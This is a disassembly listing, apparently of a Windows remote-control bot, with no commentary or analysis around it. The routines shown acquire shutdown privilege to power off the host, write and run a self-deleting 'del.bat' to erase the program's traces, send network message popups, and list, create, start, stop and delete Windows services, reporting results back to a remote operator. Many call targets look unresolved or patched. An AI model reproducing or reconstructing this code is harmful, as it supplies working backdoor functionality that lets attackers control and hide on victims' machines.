		call	near ptr 29B0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 29A0859h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB564
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB6F4, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 284016Dh
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 28B0703h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		push	edi
		nop
		call	near ptr 28005AFh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D7D8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2830635h
		push	eax
		nop
		call	near ptr 2810000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2830500h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 28303CBh


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 29C0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2800890h


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 2880000h
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5A4
		push	edi
		push	eax
		call	dword_4CB5B4
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_439040


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_439018
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438FE8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 2880000h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 2850000h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 28503A1h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2940449h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439068[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_439064[esi]
		push	offset unk_439178


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB6A0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43914C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6A0
		push	off_439060[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB618
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2830047h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB500
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2830047h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB56C
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB508
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CB570


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2830047h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CB51C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CB51C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DAFE0
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DAFE0
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DAFE0
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB618
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB5E4
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2830047h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CB51C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB29C
		push	off_439060[eax*4]
		push	offset unk_43970C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB29C
		push	off_439064[eax*4]
		push	offset dword_4396F0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB29C
		lea	eax, [eax+eax*2]
		push	off_439060[eax*4]
		push	offset unk_4396CC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB49C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DB49C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB23C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB23C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB23C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB518
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB4F0
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


